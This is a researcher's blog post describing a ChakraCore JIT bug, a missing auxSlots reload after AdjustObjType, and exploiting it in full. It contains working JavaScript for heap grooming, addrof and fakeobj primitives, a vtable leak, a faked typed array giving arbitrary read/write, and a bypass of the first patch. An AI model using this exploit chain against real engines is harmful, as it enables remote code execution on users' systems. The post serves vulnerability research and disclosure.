Today we have a blogpost about a bug that led to RCE in ChakraCore that almost made it to its first birthday from the time I found it. The reason I never reported it is that Chakra did not get a new release for a long time and this bug was therefore never released as part of Edge. As I am independent, I could either still report it to MSRC and probably get a thank you email or just try to wait until it hits WIP to try to get a bounty. Unfortunately for me, it recently got patched once but I bypassed the patch the same day before the dev team killed it for good. Let’s dig into it :)

Prerequisites

JSObjects in ChakraCore

In ChakraCore, like in other engines, the “default” storage mode for objects makes use of a pointer to a contiguous memory buffer holding property values and uses an object called a Type to describe where a property value for a given property name is stored.

The layout of a JSObject is therefore the following:

  • vfptr: Virtual table pointer
  • type: holds the Type pointer
  • auxSlots: pointer to the buffer holding object properties
  • objectArray: points to a JSArray if the object has indexed properties

To avoid reallocating and copying over previous properties any time a new property is added to the object, the auxSlots buffer is grown with a certain size to account for future property additions.

JSArrays in ChakraCore

Arrays are stored using 3 kind of storage to allow for optimizations:

  • NativeIntArray where integers are stored unboxed on 4 bytes
  • NativeFloatArray where numbers are stored unboxed on 8 bytes
  • JavascritpArray where numbers are stored in their boxed representation and object pointers are stored directly

More on arrays later :)

JIT background

ChakraCore has a JIT compiler which has two tiers of optimizations:

  • SimpleJit
  • FullJit

The FullJit tier is the tier that performs all the optimizations and uses a straightforward algorithm over the Control-Flow Graph (CFG) of the function being optimized made up of:

  • A backward pass over the graph
  • A forward pass
  • Another backward pass (called DeadStore pass)

During these passes, data is gathered at each basic block to track various information about use of various symbols which represent JS variables but can also represent internal fields and pointers. One piece of information tracked is upward exposed uses of symbols, this basically allows to know for a given symbol whether or not it might be used later on and take various action based on that

The bug

The bug was introduced in September of 2018 in commit 8c5332b8eb5663e4ec2636d81175ccf7a0820ff2. If we look at the commit we see that it tries to optimize a certain instruction called AdjustObjType and introduced a new instruction called AdjustObjTypeReloadAuxSlotPtr.

If we consider the following snippet

function opt(obj) {

    ...
    // assume obj->auxSlots is full at this stage
    
    obj.new_property = 1; // [[ 1 ]]

    ...
}

The JIT will have to generate an AdjustObjType instruction at [[ 1 ]] in order to properly grow the backing buffer.

What this optimization tried to do is basically use the upward exposed uses information in order to decide whether it should generate an AdjustObjType or AdjustObjTypeReloadAuxSlotPtr, the rationale being that if there are no more property access on that object, we should not have to reload the auxSlots pointer.

We can see that particular logic in the backward pass in the following method

void
BackwardPass::InsertTypeTransition(IR::Instr *instrInsertBefore, StackSym *objSym, AddPropertyCacheBucket *data, BVSparse<JitArenaAllocator>* upwardExposedUses)
{
    Assert(!this->IsPrePass());

    IR::RegOpnd *baseOpnd = IR::RegOpnd::New(objSym, TyMachReg, this->func);
    baseOpnd->SetIsJITOptimizedReg(true);

    JITTypeHolder initialType = data->GetInitialType();
    IR::AddrOpnd *initialTypeOpnd =
        IR::AddrOpnd::New(data->GetInitialType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func);
    initialTypeOpnd->m_metadata = initialType.t;

    JITTypeHolder finalType = data->GetFinalType();
    IR::AddrOpnd *finalTypeOpnd =
        IR::AddrOpnd::New(data->GetFinalType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func);
    finalTypeOpnd->m_metadata = finalType.t;

    IR::Instr *adjustTypeInstr =            // [[ 1 ]]
        IR::Instr::New(Js::OpCode::AdjustObjType, finalTypeOpnd, baseOpnd, initialTypeOpnd, this->func); 

    if (upwardExposedUses)
    {
        // If this type change causes a slot adjustment, the aux slot pointer (if any) will be reloaded here, so take it out of upwardExposedUses.
        int oldCount;
        int newCount;
        Js::PropertyIndex inlineSlotCapacity;
        Js::PropertyIndex newInlineSlotCapacity;
        bool needSlotAdjustment =
            JITTypeHandler::NeedSlotAdjustment(initialType->GetTypeHandler(), finalType->GetTypeHandler(), &oldCount, &newCount, &inlineSlotCapacity, &newInlineSlotCapacity);
        if (needSlotAdjustment)
        {
            StackSym *auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym();
            if (auxSlotPtrSym)
            {
                if (upwardExposedUses->Test(auxSlotPtrSym->m_id))
                {
                    adjustTypeInstr->m_opcode =                 // [[ 2 ]]
                    Js::OpCode::AdjustObjTypeReloadAuxSlotPtr;
                }
            }
        }
    }

    instrInsertBefore->InsertBefore(adjustTypeInstr);
}

We can see that at [[ 1 ]] by default, it will generate an AdjustObjType instruction and only change that instruction type to its variant AdjustObjTypeReloadAuxSlotPtr if the test upwardExposedUses->Test(auxSlotPtrSym->m_id) is successful.

We can then see that logic generated in the Lowerer which handles these particular instructions

void
Lowerer::LowerAdjustObjType(IR::Instr * instrAdjustObjType)
{
    IR::AddrOpnd *finalTypeOpnd = instrAdjustObjType->UnlinkDst()->AsAddrOpnd();
    IR::AddrOpnd *initialTypeOpnd = instrAdjustObjType->UnlinkSrc2()->AsAddrOpnd();
    IR::RegOpnd  *baseOpnd = instrAdjustObjType->UnlinkSrc1()->AsRegOpnd();

    bool adjusted = this->GenerateAdjustBaseSlots(
        instrAdjustObjType, baseOpnd, JITTypeHolder((JITType*)initialTypeOpnd->m_metadata), JITTypeHolder((JITType*)finalTypeOpnd->m_metadata));

    if (instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr)
    {
        Assert(adjusted);

        // We reallocated the aux slots, so reload them if necessary.
        StackSym * auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym();
        Assert(auxSlotPtrSym);

        IR::Opnd *opndIndir = IR::IndirOpnd::New(baseOpnd, Js::DynamicObject::GetOffsetOfAuxSlots(), TyMachReg, this->m_func);
        IR::RegOpnd *regOpnd = IR::RegOpnd::New(auxSlotPtrSym, TyMachReg, this->m_func);
        regOpnd->SetIsJITOptimizedReg(true);
        Lowerer::InsertMove(regOpnd, opndIndir, instrAdjustObjType);
    }

    this->m_func->PinTypeRef((JITType*)finalTypeOpnd->m_metadata);

    IR::Opnd *opnd = IR::IndirOpnd::New(baseOpnd, Js::RecyclableObject::GetOffsetOfType(), TyMachReg, instrAdjustObjType->m_func);
    this->InsertMove(opnd, finalTypeOpnd, instrAdjustObjType);

    initialTypeOpnd->Free(instrAdjustObjType->m_func);
    instrAdjustObjType->Remove();
}

We can see that if instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr, extra logic will be added in order to reload the auxSlots pointer.

Simple enough right?

Well the problem is that the optimization could not actually work as things were and actually resulted in a bug.

Consider again the snippet

function opt(obj) {

    ...
    // assume obj->auxSlots is full at this stage
    
    obj.new_property = 1; // [[ 1 ]]
}

This time we don’t have any code past the property store that will cause the auxSlots to be used which means the auxSlots pointer of obj will not be set as upward exposed and therefore the optimization will take place generating an AdjustObjType instruction.

The slight problem was that indeed the auxSlots pointer will be reloaded so if we looked a bit at what happened under the hood under certain conditions we could have the following logic taking place

  • the auxSlots pointer is “live” and loaded in a register
  • AdjustObjType is executed before writing the new property
  • auxSlots pointer is not reloaded
  • Property is written using the previous auxSlots pointer which was full

So we end up with a 8-byte OOB write past the original auxSlots buffer which after some work turned out to be enough to achieve a highly reliable R/W primitive.

To trigger this bug (at least the first version), we can use the really sophisticated following JavaScript function:

function opt(obj) {
    obj.new_property = obj.some_existing_property;
}

Exploitation

Setting our goals

While exploiing this bug, I found it useful to formalize a bit what I wanted to achieve in order to properly think about any intermediate steps required.

My goal was to achieve the two well known primitives:

  • addrof which will allow us to leak the internal address of any JavaScript object
  • fakeobj whill will allows us to get a handle to a JavaScript object at an arbitrary address in memory

Limitations

We have several limitiations that we have to think about with our current knowledge of the situation.

First off, we do not control the offset where we write OOB. It will always be the first QWORD right after the auxSlots buffer.

Second, we cannot write arbitrary values as we will assign a JSValue. In Chakra this means that if we assign the integer 0x4141 it will write 0x1000000004141, doubles will similarily be tagged with 0xfffc << 48 and any other value would mean writing a pointer OOB.

Finding the good target to overwrite

We need to think of a good target to overwrite. Chakra uses virtual methods extensively which means that most objects will actually have a virtual table pointer as their first qword. Without an infoleak and in the presence of Control-Flow Guard, this was a no-go.

In order to turn this 8-byte OOB write into a more potent primitive, I ended up targetting array segments.

In order to deal with sparse arrays, Chakra uses a segment-based implementation to avoid bloating memory like crazy.

let arr = [];
arr[0] = 0;
arr[0xfff] = 1;

In the above snippet, in order to avoid allocating 0x1000 * 4 bytes to store only two values Chakra will represent this array as an array with two segments:

  • A first segment starting a index 0 containing the value 0 which points to
  • A second segment stating at index 0xfff containing the value 1

Segments have the following layout in memory:

  • uint32_t left: the left-most index of the segment
  • uint32_t length: the highest index set in that in that segment
  • uint32_t size: the actual size/capactiy of the segment in number of elements it can store
  • segment* next: the pointer to the next segment if any

Elements of a segment will be stored inlined right after.

As you can see the first QWORD of a segment effectively holds two fields that look pretty interesting to overwrite. Even more so that we can use a tagged integer and actually use the tag to our advantage. If we write 0x4000 OOB we will end up with a segment where left == 0x4000 and length == 0x10000 effectively allowing us to read OOB of the segment with way more freedom.

Now what we need to deal with is how to place a segment right after our auxSlots buffer so that we can overwrite the first 8 bytes of the segment.

Chakra Heap Feng-Shui

Most objects in Chakra are allocated through what they call the Recycler which allows the garbage collector to do its job. It is a bucket-based allocator where ranges of memories are reserved for buckets of certain sizes. What that means for us is that object of sizes ending up in the same bucket will have a high likelihood to be placed next to each other while if they don’t end up in the same bucket, it will be super hard to achieve two allocations next to each other.

Thankfully we have control over which bucket our auxSlots is allocated since we can control the number of properties set on the object before passing. I just quickly tried adding random number of properties to an object until I knew which number was correct so that:

  • the auxSlots is allocated in the same bucket as new array segments
  • the auxSlots is full

If we have an object with 20 properties, we will statisfy this two conditions.

Corrupting the segment

Another good thing of overwriting an array segment is that we will be able to detect whether corruption happened through regular JavaScript. I used the following strategy:

  1. create a NativeFloatArray
  2. set a high index (0x7000): this will accomplish two things, first off it will set the length variable on the array to avoid the engine short-cutting us when we access OOB index and create a new segment
  3. create our object with 20 properties: this will allocate our auxSlots in the right bucket
  4. create a new segment by assigning to index 0x1000

By doing step 4 right after step 3, we try to increase the likelihood that the new segment for index 0x1000 right after the auxSlots of our object allocated at step 3.

We will then use our trigger to write 0x4000 out of bounds. If our corruption was successful we will have changed the index of the segment to 0x4000, therefore if we read a marker value at that index we will know it worked.

We can demonstrate the corruption of the array segment with the following code:

// this creates an object of a certain size which makes so that its auxSlots is full
// adding a property to it will require growing the auxSlots buffer
function make_obj() {
    let o = {};
    o.a1=0x4000;
    o.a2=0x4000;
    o.a3=0x4000;
    o.a4=0x4000;
    o.a5=0x4000;
    o.a6=0x4000;
    o.a7=0x4000;
    o.a8=0x4000;
    o.a9=0x4000;
    o.a10=0x4000;
    o.a11=0x4000;
    o.a12=0x4000;
    o.a13=0x4000;
    o.a14=0x4000;
    o.a15=0x4000;
    o.a16=0x4000;
    o.a17=0x4000;
    o.a18=0x4000;
    o.a19=0x4000;
    o.a20=0x4000;
    return o;
}

function opt(o) {
    o.pwn = o.a1;
}

for (var i = 0; i < 1000; i++) {
        arr = [1.1];
        arr[0x7000] = 0x200000 // Segment the array
        let o = make_obj(); // 
        arr[0x1000] = 1337.36; // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword which contains length and index
        opt(o);   
        // now if we triggered the bug, we overwrote the first qword of the segment 
        // for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000 
        // (tagged integer 0x4000)
        // if we access 0x4000 and read the marker value we put, then we know it was corrupted
        if (arr[0x4000] == 1337.36) {
            print("[+] corruption worked");
            break;
        }
    }

We can now access arr starting at index 0x4000 and read way past the end of buffer. It is also important to note that since arr was declared an array containing a float, it will be represented as NativeFloatArray which will allows us to read values in memory as raw numbers!

Building Addrof

With the previous corruption we will be able to devise a stable addrof primitive. What we will do is achieve a layout where our corrupted segment is directly follow in memory by an array containing object pointers. By reading OOB from our segment, we will be able to read these pointer values and get them back in JavaScript as raw numbers.

This what the addrof setup looks like

addrof_idx = -1;
function setup_addrof(toLeak) {
    for (var i = 0; i < 1000; i++) {
        addrof_hax = [1.1];
        addrof_hax[0x7000] = 0x200000;
        let o = make_obj();
        addrof_hax[0x1000] = 1337.36;
        opt(o);   
        if (addrof_hax[0x4000] == 1337.36) {
            print("[+] corruption done for addrof");
            break;
        }
    }
    addrof_hax2 = [];
    addrof_hax2[0x1337]  = toLeak;

    // this will be the first qword of the segment of addrof_hax2 which holds the object we want to leak
    marker = 2.1219982213e-314 // 0x100001337;
    
    for (let i = 0; i < 0x500; i++) {
        let v = addrof_hax[0x4010 + i];
        if (v == marker) {
            print("[+] Addrof: found marker value");
            addrof_idx = i;         
            return;
        }
    }
    
    setup_addrof();
}
var addrof_setupped = false;
function addrof(toLeak) {
    if (!addrof_setupped) {
        print("[!] Addrof layout not set up");
        setup_addrof(toLeak);
        addrof_setupped = true;
        print("[+] Addrof layout done!!!");
    }  
    addrof_hax2[0x1337] = toLeak
    return f2i(addrof_hax[0x4010 + addrof_idx + 3]);
}

Building Fakeobj

To build fakeobj we will do the same thing but the other way around, we will corrupt a segment of a JavascriptArray and place a segment for a NativeFloatArray right after. We will then be able to fake pointer values (values are stored unboxed) in the float array and get a pointer handle by reading out of bounds from the object array segment for which unboxed values represent pointers.

function setup_fakeobj(addr) {
    for (var i = 0; i < 100; i++) {
        fakeobj_hax = [{}];
        fakeobj_hax2 = [addr];
        fakeobj_hax[0x7000] = 0x200000 
        fakeobj_hax2[0x7000] = 1.1;
        let o = make_obj();
        fakeobj_hax[0x1000] = i2f(0x404040404040); 
        fakeobj_hax2[0x3000] = addr;
        fakeobj_hax2[0x3001] = addr;
        opt(o);   

        if (fakeobj_hax[0x4000] == i2f(0x404040404040)) {
            print("[+] corruption done for fakeobj");
            break;
        }
    }
    return fakeobj_hax[0x4000 + 20] // access OOB into fabeobj_hax2
}

var fakeobj_setuped = false;
function fakeobj(addr) {
    if (!fakeobj_setuped) {
        print("[!] Fakeobj layout not set up");
        setup_fakeobj(addr);
        fakeobj_setuped = true;
        print("[+] Fakeobj layout done!!!");
    }   
    fakeobj_hax2[0x3000] = addr;
    return fakeobj_hax[0x4000 + 20]
}

Getting arbitrary R/W primitives

From that point, the steps to achieve R/W primitives are pretty straightforward and I have explained them in my presentation I did at SSTIC 2019

In order to get a R/W primitive we will fake a Uint32Array in such a way that we can control its buffer pointer.

In order to fake a typed array in Chakra, we have to know its vtable pointer because it will used when we start assigning values to it. Our first step will be to leak a vtable pointer and compute our desired vtable pointer using a static offset.

To do that we will use the fact that arrays up to a certain small size when allocated with the new Array(<size>) syntax will have their data stored inlined. This coupled with our addrof primitive gives us the ability to place arbitrary data at a known location in memory

In order to leak a vtable memory we will use the following strategy:

  • allocate an inline array a
  • allocate an inline array b so that it is right after a
  • fake a Uint64Number towards the end of a so that the field holding the value overlaps with the vtable pointer of b
  • call parseInt on our fake number which will return the vtable pointer as a number

In order to properly fake a Uint64Number we will only need to fake a Type which basically says this object is of type Uint64Number and have some values set to a valid address

The logic for this is below:

let a = new Array(16);
let b = new Array(16);

let addr = addrof(a);
let type = addr + 0x68; // a[4]

// type of Uint64
a[4] = 0x6; 
a[6] = lo(addr); a[7] = hi(addr);
a[8] = lo(addr); a[9] = hi(addr);

a[14] = 0x414141;
a[16] = lo(type)
a[17] = hi(type)

// object is at a[14]
let fake = fakeobj(i2f(addr + 0x90)) 
let vtable = parseInt(fake);

let uint32_vtable = vtable + offset;

Now we have all we want to fake our typed array and this will just require some more dancing around pointers which is pretty similar

type = new Array(16);
type[0] = 50; // TypeIds_Uint32Array = 50,
type[1] = 0;
typeAddr = addrof(type) + 0x58;
type[2] = lo(typeAddr); // ScriptContext is fetched and passed during SetItem so just make sure we don't use a bad pointer
type[3] = hi(typeAddr);

ab = new ArrayBuffer(0x1338);
abAddr = addrof(ab);

fakeObject = new Array(16);
fakeObject[0] = lo(uint32_vtable);
fakeObject[1] = hi(uint32_vtable);

fakeObject[2] = lo(typeAddr); 
fakeObject[3] = hi(typeAddr);

fakeObject[4] = 0; // zero out auxSlots
fakeObject[5] = 0;

fakeObject[6] = 0; // zero out objectArray 
fakeObject[7] = 0;

fakeObject[8] = 0x1000;
fakeObject[9] = 0;

fakeObject[10] = lo(abAddr); 
fakeObject[11] = hi(abAddr);

address = addrof(fakeObject);

fakeObjectAddr = address + 0x58;

arr = fakeobj(i2f(fakeObjectAddr));

We can now devise our R/W primitives as follows:

memory = {
    setup: function(addr) {
        fakeObject[14] = lower(addr); 
        fakeObject[15] = higher(addr);
    },
    write32: function(addr, data) {
        memory.setup(addr);
        arr[0] = data;
    },
    write64: function(addr, data) {
        memory.setup(addr);
        arr[0] = data & 0xffffffff;
        arr[1] = data / 0x100000000;
    },
    read64: function(addr) {
        memory.setup(addr);
        return arr[0] + arr[1] * BASE;
    }
};


print("[+] Reading at " + hex(address) + " value: " + hex(memory.read64(address)));

memory.write32(0x414243444546, 0x1337);

Bypassing the first fix

The bug was initially fixed so that just assigning regular properties would not allow us to trigger the bug anymore. However it was possible to define an accessor which has special treatment in order to trigger the same exact situation

All we needed to change was the make_obj and opt function to the following:

function make_obj() {
    let o = {};
    o.a1=0x4000;
    o.a2=0x4000;
    o.a3=0x4000;
    o.a4=0x4000;
    o.a5=0x4000;
    o.a6=0x4000;
    o.a7=0x4000;
    o.a8=0x4000;
    o.a9=0x4000;
    o.a10=0x4000;
    o.a11=0x4000;
    o.a12=0x4000;
    o.a13=0x4000;
    o.a14=0x4000;
    o.a15=0x4000;
    o.a16=0x4000;
    o.a17=0x4000;
    o.a18=0x4000;
    //o.a19=0x4000;
    //o.a20=0x4000;
    return o;
}

function opt(o) {
    o.__defineGetter__("accessor",() => {})
    o.a2; // set auxSlots as live
    o.pwn = 0x4000; // bug
}

The full exploit code can be found here and was written for commit e149067c8f1a80462ac77d863b9bfb0173d0ced3 after the first fix

Conclusion

In this blog post we saw that a limited primitive can be enough to completely compromise a process. I hope you enjoyed this blogpost. Merci :)